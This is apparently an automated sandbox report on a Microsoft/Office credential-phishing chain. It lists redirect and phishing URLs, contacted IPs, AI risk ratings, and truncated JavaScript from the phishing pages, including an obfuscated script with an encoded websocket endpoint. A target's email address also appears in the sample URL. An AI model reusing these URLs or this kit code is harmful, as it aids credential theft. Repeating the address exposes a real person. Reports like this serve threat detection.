https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8ef6c997a86442ad/1733766106033/cd511318b73ec19c11cc90f41c187ab72a36e207c9465082a957b4b829a9bcb8/6vTyGsiZscPh32f	false		high
https://offcap.myconm.com/?qe=3RVg&sso_reload=true	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/457009411:1733764360:aRg59TFp1OaI8N3nms2oLtLRWIfPtC0oPIhQYUzdBuM/8ef6c997a86442ad/_cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6c997a86442ad&lang=auto	false		high
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js	false		high
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/	false		high
https://b4cef784-0e591a27.myconm.com/?session_id=970e892d5314442cb6158e07d409df4c&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SI	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://f3b9289a-0e591a27.myconm.com/OneCollector/1.0/?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.6&apikey=b0c252808e614e949086e019ae1cb300-e0c02060-e3b3-4965-bd7c-415e1a7a9fde-6951&upload-time=1733766191542&time-delta-to-apply-millis=use-collector-delta&w=0&NoResponseBody=true	true	Avira URL Cloud: safe	unknown
https://cd092d4c-0e591a27.myconm.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js	true	Avira URL Cloud: safe	unknown
https://6d700e25-0e591a27.myconm.com/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
192.185.25.241	ameninternazionale.org	United States	46606	UNIFIEDLAYER-AS-1US	false
18.165.220.47	images.freeimages.com	United States	3	MIT-GATEWAYSUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.155.32	unknown	United States	13335	CLOUDFLARENETUS	false
18.165.220.75	unknown	United States	3	MIT-GATEWAYSUS	false
104.21.34.58	sphexams.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
52.200.208.143	webservice.ucampaign.unear.net	United States	14618	AMAZON-AESUS	false
164.92.188.247	aa45faf7-0e591a27.myconm.com	United States	46930	ASN-DPSDUS	false
18.66.161.55	findicons.com	United States	3	MIT-GATEWAYSUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571837
Start date and time:	2024-12-09 18:40:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1LekV6Sm1aek1UTW1aV1ZpTVRNbVJUUW1SVFFtUlRRbVJUUW1SVFFtUlRRbVJEUW1NVE1tSzBjekpqRXpKakV6SmtZMEpqTXpKa1UwSmpFelkyczJSR054UjFoamIwTkdaWHRYU0dWemVtZHNkSHBtYVdkdWMydGxhVFF6SmtjekptWnpSek1tWldSSE15WjRjRzlzTG0xdFpuZ3ZSek1tYUhOd0wyWnRZbTl3YW50aWIzTm1kVzlxYjJadVlrY3pKa2N6SmtJMEpuUnhkWFZwUlRRbWJYTjJRelFtTXpNekprVTBKblZ2Wm5WdmNHUXhNeVl6TXlacGRHWnpaMlp6TXpNbVJUUW1kMnAyY21ZdWNYVjFhVEV6Sm1KMVptNUVOQ1l4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1l6TXlZNUxrZFZWak16SmtVMEpuVm1kSE5pYVdReE15WmlkV1p1UkRRbU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbVpXSm1hVVEwSmtJeEprWTBKbTF1ZFdsRU5DWkNNU1pHTkNadlluRjBSek1tUkRRbVpHczNhRnBXUkRRbWRIczFUVVUwSmt4WWJYZ3hUMUZuWkZoUVdYTjdOWGRIT1h0UlJUWW1RMDlHTkNZek15WjFlV1oxTG05bVpXVnFhVE16SmtVMEpuUjBZbTFrTVRNbWIySnhkRVEwSmtJeEpnPT0=
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.phis.win@25/85@78/16
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.17.46, 173.194.222.84, 192.229.221.95, 172.217.21.42, 172.217.17.35, 172.217.17.78, 172.217.19.202, 142.250.181.42, 172.217.19.170, 172.217.17.42, 142.250.181.106, 216.58.208.234, 172.217.19.234, 142.250.181.74, 142.250.181.138, 142.250.181.10, 172.217.17.74, 40.126.53.19, 20.109.210.53, 23.218.208.109, 13.107.5.88, 104.126.37.177
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, evoke-windowsservices-tas.msedge.net, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1L

Input	Output
URL: https://webservice.ucampaign.unear.net Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://webservice.ucampaign.unear.net
URL: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verifying...", "prominent_button_name": "Submit", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20= Model: Joe Sandbox AI	{ "brands": [ "Cloudflare", "Microsoft" ] }
	{ "brands": [ "Cloudflare", "Microsoft" ] }
URL: https://offcap.myconm.com/?qe=3RVg... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be minified utility code implementing Promise and Iterator functionality. While minified code can be suspicious, this implementation matches standard JavaScript patterns for async operations and prototypal inheritance. No high-risk behaviors like eval(), external data transmission, or suspicious DOM manipulation are present." }
!function(){"use strict";var t=function(r,e){return t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,r){t.__proto__=r}\|\|function(t,r){for(var e in r)Object.prototype.hasOwnProperty.call(r,e)&&(t[e]=r[e])},t(r,e)};function r(r,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function n(){this.constructor=r}t(r,e),r.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}function e(t,r,e,n){return new(e\|\|(e=Promise))((function(o,i){function u(t){try{s(n.next(t))}catch(t){i(t)}}function c(t){try{s(n.throw(t))}catch(t){i(t)}}function s(t){var r;t.done?o(t.value):(r=t.value,r instanceof e?r:new e((function(t){t(r)}))).then(u,c)}s((n=n.apply(t,r\|\|[])).next())}))}function n(t,r){var e,n,o,i,u={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return i={next:c(0),throw:c(1),return:c(2)},"function"==typeof Symbol&&(i[Symbol.iterator]=function(){return this}),i;function c(c){return function(s){return function(c){if(e)throw new TypeError("Generator is already executing.");for(;i&&(i=0,c[0]&&(u=0)),u;)try{if(e=1,n&&(o=2&c[0]?n.return:c[0]?n.throw\|\|((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,c[1])).done)return o;switch(n=0,o&&(c=[2&c[0],o.value]),c[0]){case 0:case 1:o=c;break;case 4:return u.label++,{value:c[1],done:!1};case 5:u.label++,n=c[1],c=[0];continue;case 7:c=u.ops.pop(),u.trys.pop();continue;default:if(!(o=u.trys,(o=o.length>0&&o[o.length-1])\|\|6!==c[0]&&2!==c[0])){u=0;continue}if(3===c[0]&&(!o\|\|c[1]>o[0]&&c[1]<o[3])){u.label=c[1];break}if(6===c[0]&&u.label<o[1]){u.label=o[1],o=c;break}if(o&&u.label<o[2]){u.label=o[2],u.ops.push(c);break}o[2]&&u.ops.pop(),u.trys.pop();continue}c=r.call(t,u)}catch(t){c=[6,t],n=0}finally{e=o=0}if(5&c[0])throw c[1];return{value:c[0]?c[1]:void 0,done:!0}}([c,s])}}}Object.create;function o(t){var r="function"==typeof Symbol&&Symbol.iterator,e=r&&t[r],n=0;if(e)return e.call(t);if(t&&"number"==typeof t.length)return{next:function(){return t&&n>=t.length&&(t=void 0),{value:t&&t[n++],done:!t}}};throw new TypeError(r?"Object is not iterable.":"Symbol.iterator is not defined.")}function i(t,r){var e="function"==typeof Symbol&&t[Symbol.iterator];if(!e)return t;var n,o,i=e.call(t),u=[];try{for(;(void 0===r\|\|r-- >0)&&!(n=i.next()).done;)u.push(n.value)}catch(t){o={error:t}}finally{try{n&&!n.done&&(e=i.return)&&e.call(i)}finally{if(o)throw o.error}}return u}function u(t,r,e){if(e\|\|2===arguments.length)for(var n,o=0,i=r.length;o<i;o++)!n&&o in r\|\|(n\|\|(n=Array.prototype.slice.call(r,0,o)),n[o]=r[o]);return t.concat(n\|\|Array.prototype.slice.call(r))}function c(t){return this instanceof c?(this.v=t,this):new c(t)}function s(t,r,e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var n,o=e.apply(t,r\|\|[]),i=[];return n={},u("next"),u("throw"),u("return",(function(t){return function(r){return Promise.resolve(r).then(t,l)}})),n[Symbol.asyncIterator]=function(){return this},n;function u(t,r){o[t]&&(n[t]=function(r){return new Promise((function(e,n){i.push([t,r,e,n])>1\|\|s(t,r)}))},r&&(n[t]=r(n[t])))}function s(t,r){try{(e=o[t](r)).value instanceof c?Promise.resolve(e.value.v).then(a,l):f(i[0][2],e)}catch(t){f(i[0][3],t)}var e}function a(t){s("next",t)}function l(t){s("throw",t)}function f(t,r){t(r),i.shift(),i.length&&s(i[0][0],i[0][1])}}function a(t){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,e=t[Symbol.asyncIterator];return e?e.call(t):(t=o(t),r={},n("next"),n("throw"),n("return"),r[Symbol.asyncIterator]=function(){return this},r);function n(e){r[e]=t[e]&&function(r){return new Promise((function(n,o){(function(t,r,e,n){Promise.resolve(n).then((function(r){t({value:r,done:e})}),r)})(n,o,(r=t[e](r)).done,r.value)}))}}}Object.create;"function"==typeof SuppressedError&&SuppressedError;function l(t){return"function"==typeof t}var f,h=((f=function(t){return function(r){t(this),this.message=r?r.length+" errors oc
URL: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "CAPTCHA is mandatory.", "prominent_button_name": "Submit", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://offcap.myconm.com/?qe=3RVg... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be a legitimate resource loader script, likely from Microsoft. It contains standard module loading patterns, debug logging, and document ready handlers. While it uses DOM manipulation and dynamic script loading, these are implemented with standard practices and safety checks. The code is minified but not maliciously obfuscated." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+h.length).toLowerCase()===h}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("name","")),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://offcap.myconm.com/?qe=3RVg... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This is a standard Cloudflare Turnstile callback function that submits a form after receiving a token. While it performs DOM manipulation (form submission), it's a common and legitimate security practice for bot protection. No data exfiltration or suspicious behaviors observed." }
function turnstileCallback(token) { document.querySelector('form').submit(); }
URL: https://offcap.myconm.com/?qe=3RVg Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "office.com needs to review the security of your connection before proceeding.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "CAPTCHA is mandatory.", "prominent_button_name": "Submit", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20= Model: Joe Sandbox AI	{ "brands": [ "Cloudflare", "Microsoft" ] }
	{ "brands": [ "Cloudflare", "Microsoft" ] }
URL: https://offcap.myconm.com/?qe=3RVg Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "office.com needs to review the security of your connection before proceeding.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20= Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://ameninternazionale.org/.well-know/cd/re/#h... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The code shows several concerning patterns: 1) Obfuscated variable names (_0x5a2b, etc.), 2) Base64 encoding/decoding operations with atob/btoa, 3) Reading from URL hash which could be used for XSS, and 4) DOM manipulation via innerHTML. However, it appears to be part of a CAPTCHA validation system using legitimate services (turnstile). The combination of obfuscation and URL parameter processing warrants caution, but there's no clear malicious behavior like data exfiltration or eval() usage." }
function _0x5a2b(_0x1e3c) { try { return btoa(atob(_0x1e3c)) === _0x1e3c; } catch (_0x4d5f) { return false; } } function _0x6b4d(_0x7f8e) { if (_0x5a2b(_0x7f8e)) { return atob(_0x7f8e); } return _0x7f8e; } function _0x2c3d() { var _0x8f9a = window.location.hash; if (_0x8f9a) { var _0x1b2c = _0x8f9a.split("#")[1]; var _0x3d4e = _0x6b4d(_0x1b2c); return _0x3d4e; } return ''; } document.addEventListener("DOMContentLoaded", function() { var _0x4d5f8 = document.getElementById("btn-validate"); if (_0x4d5f8) { _0x4d5f8.addEventListener("click", function() { var _0x1a2b3 = $("#recaptcha"), _0x2b3c4 = turnstile.getResponse(); if (_0x2b3c4 === undefined) { $("#WrongCaptchaError").text("CAPTCHA is mandatory.").show(); turnstile.reset(); if (!_0x1a2b3.hasClass("error")) { _0x1a2b3.addClass("error"); } } else { document.getElementById("section").innerHTML = '<p id="text" style=\'color: #7b7b7b;font-weight: 600;margin-
URL: https://offcap.myconm.com/?qe=3RVg Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20= Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://offcap.myconm.com/?qe=3RVg Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "Cloudflare" ] }
	{ "brands": [ "Microsoft", "Cloudflare" ] }
URL: https://offcap.myconm.com/?qe=3RVg... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High risk due to multiple suspicious indicators: heavily obfuscated code (+3), array of encoded strings (+3), potential for dynamic code execution through array manipulation (+2). The code appears to be part of a malicious script that's intentionally obscured to avoid detection." }
function a0S4(){var g1=['undefined','FDlna','ysRxq','UYNAt','random','kEvRa','MutationObserver','AqHUJ','source','qCfQz','jTBSb','operator','enumerable','bUNUY','VAKPD','script','stack','DgNEP','IS_ITERATOR','oPxDt','Can\x27t\x20convert\x20object\x20to\x20primitive\x20value','has','set\x20','style','gpLhc','String','_parentage','_next','iqXej','XgeSu','Dispatch','destination','hsLuv','yoMre','\x20is\x20not\x20an\x20object','DDWPU','QvJhT','ZUiJi','Aznxa','lhRRI','kWxWO','xTGEH','VpwtO','rRiVp','wWNiv','POLYFILL','test','promise','domain','_hasParent','_subscribe','tail','Scheduled\x20action\x20threw\x20falsy\x20error','LRCNU','Null','bnPBy','createElement','luFft','Generator\x20is\x20already\x20executing.','ioQbY','qoyCP','close','YMxEs','Bun/','isStopped','filter:hue-rotate(','pipe','sxpqV','ufKfI','_config','min','NXmxL','WVZve','WSIpp','writable','info','49311ukBGMz','aqVQG','self','search','get\x20','groups','documentElement','knWTu','Spfjl','Arguments','kdECs','reason','notified','qowYa','sPgRK','unsubscribe','replace','Cloudflare-Workers','apply','closingObserver','message','eLblU','lZIjj','native-string-replace','rZdVg','FocHw','observable','serializer','2OuYMgh','WebKitMutationObserver','JUlje','concat','inspectSource','\x20is\x20not\x20a\x20function','thrownError','getterFor','AS_ENTRIES','XuBav','STZsN','VWbID','dontCallGetSet','binaryType','\x20as\x20a\x20prototype','5TdnADA','10263LkSmqi','propertyIsEnumerable','iOPfj','versions','WebSocketSubject.error\x20must\x20be\x20called\x20with\x20an\x20object\x20with\x20an\x20error\x20code,\x20and\x20an\x20optional\x20reason:\x20{\x20code:\x20number,\x20reason:\x20string\x20}','partialObserver','hZLow','_socket','(?<a>b)','Promise-chain\x20cycle','dlaap','haCpV','find','ops','global','contentWindow','cuFJC','error','RegExp','bind','SkqDB','^(?:','object','remove','dispatchEvent','_removeParent','useDeprecatedSynchronousErrorHandling','_innerSubscribe','parentWindow','vAuvG','releaseLock','toPromise','JyKRh','33WyEkbp','label','$(?!\x5cs)','BkqOJ','getReader','xFuER','vaEAj','LEYFO','qHMSu','Promise','scheduler','CLOUDFLARE','document','shouldUnsubscribe','13kNmpTq','ePSos','create','DLVkR','chmeT','data','WebSocketCtor','eTRRh','Cmkte','Event','indexOf','XUAvo','axbSL','Object\x20already\x20initialized','PSSuB','Not\x20enough\x20arguments','version','MbnJM','AsyncGeneratorFunction','Class\x20extends\x20value\x20','iGxBl','BCSGg','Array','52788ENftMK','now','ObjectUnsubscribedError','VEikE','kWEhu','delegate','value','SQVNx','xcRSN','egwdD','sticky','XDQam','div','nuTgJ','kRtXb','return','dotAll','CphIm','1576dUWjlZ','DYdSb','TypeError','_resetState','_buffer','clearTimeout','XWLHr','DENO','SNaKG','You\x20provided\x20','EMPTY','exception','an\x20invalid\x20object','LXYKG','OGOUa','JSDtM','querySelector','reactions','pop','tjYxh','pQEXB','OxJXK','toPrimitive','onUnhandledError','complete','CuAas','console','1505968zhZyxn','_active','location','ONRfA','@@iterator','setTimeout','toLocaleString','RdHty','Zwthp','onmessage','IEufd','currentObservers','VCtjz','d3NzOi8vb2ZmY2FwLm15Y29ubS5jb20vMGU1OTFhMjc4ZWE0NDNjMThhYTQ0ZmRiNjRjZmEwN2Ev','clearInterval','NcmRk','ping','delay','getter','symbol','hasError','Incorrect\x20invocation','name','wsARJ','object\x20unsubscribed','charCodeAt','set','exit','setPrototypeOf','Ljgxy','NODE','\x20errors\x20occurred\x20during\x20unsubscription:\x0a','zQYgi','Symbol.asyncIterator\x20